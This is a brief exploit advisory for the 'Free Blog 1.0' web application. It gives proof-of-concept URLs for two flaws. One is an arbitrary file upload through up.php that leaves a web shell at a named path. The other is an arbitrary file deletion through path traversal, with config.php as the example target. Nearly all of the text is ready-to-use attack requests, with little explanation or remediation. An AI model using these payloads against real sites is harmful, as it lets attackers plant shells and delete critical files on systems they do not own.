# Free Blog 1.0 Multiple Vulnerability # By cr4wl3r http://bastardlabs.info # http://bastardlabs.info/exploits/Free_Blog.txt # Software Link: http://blog.sdnex.com/ # Tested: Ubuntu 12.04.1 LTS Proof of concept: Arbitrary File Upload Vulnerability http://bastardlabs/blog_path/up.php Shell will be available here http://bastardlabs/blog_path/log/images/shell.php Arbitrary File Deletion Vulnerability ---------- 49 ---------- http://bastardlabs/blog_path/up.php?del=../../[file] http://bastardlabs/blog_path/up.php?del=../../config.php ------------------------------ My sweetheart http://www.photoshow.com/watch/rx9IX5ZS